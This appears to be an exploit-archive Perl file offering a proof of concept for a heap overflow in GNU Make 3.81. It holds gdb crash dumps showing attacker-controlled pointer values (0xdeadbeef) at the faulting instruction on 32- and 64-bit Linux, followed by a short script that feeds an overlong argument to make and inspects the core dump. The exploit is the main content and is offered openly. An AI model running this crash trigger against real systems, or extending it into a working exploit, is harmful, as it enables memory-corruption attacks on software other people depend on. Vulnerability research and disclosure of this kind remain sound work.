182 lines
No EOL
5.6 KiB
Perl
Executable file
182 lines
No EOL
5.6 KiB
Perl
Executable file
=for comment
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# Exploit Title: MAKE Heap Overflow - Pointer dereferencing POC (Calloc)-X86 X64
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# Date: [14.07.14]
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# Exploit Author: HyP
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# Vendor Homepage: http://www.gnu.org/software/make/
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# Software Link: http://ftp.gnu.org/gnu/make/
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# Version: Make 3.81
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# Tested on: linux32,64 bits (Fedora,Debian,ubuntu,Arch)
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# CVE : none
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*******************************************************************************************
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Special Thanks:
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kmkz
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Zadyree
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Sec0d Team
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*******************************************************************************************
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*******************************************************************************************
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32bits
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./checksec.sh --file make
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RELRO STACK CANARY NX PIE RPATH
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RUNPATH FILE
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No RELRO No canary found NX enabled No PIE No RPATH
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No RUNPATH make
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gdb-peda$ r `perl -e 'print "A" x 4000 . "B"x96 . "\xef\xbe\xad\xde"x4'`
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Program received signal SIGSEGV, Segmentation fault.
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[----------------------------------registers-----------------------------------]
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...
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EAX: 0xdeadbeef
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EBX: 0x807b971 --> 0x6f2e ('.o')
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ECX: 0x0
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EDX: 0x1
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ESI: 0xdeadbeef
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EDI: 0x0
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EBP: 0xbfffc5e8 --> 0xbfffc698 --> 0x8081de0 --> 0x0
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ESP: 0xbfffa310 --> 0xbfffb510 --> 0x6f2e ('.o')
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EIP: 0x80548b2 (mov eax,DWORD PTR [eax])
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EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction
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overflow)
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[-------------------------------------code-------------------------------------]
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0x80548aa: je 0x80548b8
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0x80548ac: lea esi,[esi+eiz*1+0x0]
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0x80548b0: mov esi,eax
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=> 0x80548b2: mov eax,DWORD PTR [eax] <------ Pointer Dereferencing
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0x80548b4: test eax,eax
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0x80548b6: jne 0x80548b0
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0x80548b8: cmp DWORD PTR [ebp-0x1034],0x1
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0x80548bf: mov DWORD PTR [ebp-0x10ac],edx
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[------------------------------------stack-------------------------------------]
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0000| 0xbfffa310 --> 0xbfffb510 --> 0x6f2e ('.o')
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0004| 0xbfffa314 --> 0x807b971 --> 0x6f2e ('.o')
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0008| 0xbfffa318 --> 0x2
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0012| 0xbfffa31c --> 0xb7ffadf8 ("symbol=%s; lookup in file=%s [%lu]\n")
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0016| 0xbfffa320 --> 0x0
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0020| 0xbfffa324 --> 0x0
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0024| 0xbfffa328 --> 0x0
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0028| 0xbfffa32c --> 0x0
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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Stopped reason: SIGSEGV
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0x080548b2 in ?? ()
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Overflow code:
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...
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80548aa: 74 0c je 80548b8 <calloc@plt+0xac38>
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80548ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
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80548b0: 89 c6 mov %eax,%esi
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80548b2: 8b 00 mov (%eax),%eax
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80548b4: 85 c0 test %eax,%eax
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80548b6: 75 f8 jne 80548b0 <calloc@plt+0xac30>
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...
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gdb-peda$ x/x $eax
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0x807ff68: 0x00000000
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peda vmmap
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Start End Perm Name
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0x08048000 0x0806f000 r-xp /root/Desktop/RESEARCH/make_BoF/make
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0x0806f000 0x08070000 rw-p /root/Desktop/RESEARCH/make_BoF/make
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0x08070000 0x08092000 rw-p [heap] // heap overflow !!
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*******************************************************************************************
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*******************************************************************************************
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64bits
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Overflow Code :
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40cc59: 74 10 je 40cc6b <__ctype_b_loc@plt+0xa52b>
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40cc5b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
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40cc60: 48 89 c3 mov rbx,rax
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40cc63: 48 8b 00 mov rax,QWORD PTR [rax] // heap overflow
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Program received signal SIGSEGV, Segmentation fault.
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[----------------------------------registers-----------------------------------]
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RAX: 0xdeadbeefdeadbeef
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RBX: 0xdeadbeefdeadbeef
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RCX: 0x4242424242424242 ('BBBBBBBB')
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RDX: 0x0
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RSI: 0x7fffffff97d0 ('A' <repeats 200 times>...)
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RDI: 0x7fffffffa7e2 --> 0x732e656c69666500 ('')
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RBP: 0x7fffffffb930 --> 0x1
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RSP: 0x7fffffff95f0 --> 0x0
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RIP: 0x40cc63 (mov rax,QWORD PTR [rax])
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R8 : 0x4242424242424242 ('BBBBBBBB')
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R9 : 0x7ffff7972440 (mov dx,WORD PTR [rsi-0x2])
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R10: 0x4242424242424242 ('BBBBBBBB')
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R11: 0x7ffff799f990 --> 0xfffd28d0fffd2708
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R12: 0x1
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R13: 0x0
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R14: 0x6397a0 --> 0x6f2e25 ('%.o')
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R15: 0x0
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EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction
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overflow)
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[-------------------------------------code-------------------------------------]
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0x40cc59: je 0x40cc6b
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0x40cc5b: nop DWORD PTR [rax+rax*1+0x0]
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0x40cc60: mov rbx,rax
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=> 0x40cc63: mov rax,QWORD PTR [rax] <----- Pointer dereferencing
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0x40cc66: test rax,rax
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0x40cc69: jne 0x40cc60
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0x40cc6b: cmp DWORD PTR [rbp-0x105c],0x1
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0x40cc72: lea rdi,[rbp-0x40]
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[------------------------------------stack-------------------------------------]
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0000| 0x7fffffff95f0 --> 0x0
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0008| 0x7fffffff95f8 --> 0x0
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0016| 0x7fffffff9600 --> 0x0
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0024| 0x7fffffff9608 --> 0x645e50 --> 0x646630 --> 0x64667b -->
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0x5f7266006362696c ('libc')
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0032| 0x7fffffff9610 --> 0xffffffdf
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0040| 0x7fffffff9618 --> 0x645e58 --> 0x6462f0 --> 0x64a500 --> 0x64a541
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--> 0x5f726600656b616d ('make')
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0048| 0x7fffffff9620 --> 0x7ffff7bd01f8 --> 0x645e50 --> 0x646630 -->
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0x64667b --> 0x5f7266006362696c ('libc')
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0056| 0x7fffffff9628 --> 0x0
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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Stopped reason: SIGSEGV
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0x000000000040cc63 in ?? ()
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*******************************************************************************************
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*******************************************************************************************
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Proof of Concept - Source code
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*******************************************************************************************
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*******************************************************************************************
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=cut
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#!/usr/bin/perl
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use 5.010;
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use strict;
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use warnings;
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say "Please set ulimit value to 1000 before (ulimit -c 1000) ";
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sleep 0.5;
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my $buff = "A"x 4096 ;
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my $addr = "\xef\xbe\xad\xde";
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my $make = "./make";
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my $gdb = "gdb --core core";
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my $PAYLOAD= (`perl -e 'print "$buff" . "$addr" '`);
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my $exec= qx($make $PAYLOAD);
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say " Reading Core file GDB ";
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sleep 0.5;
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system ($gdb); |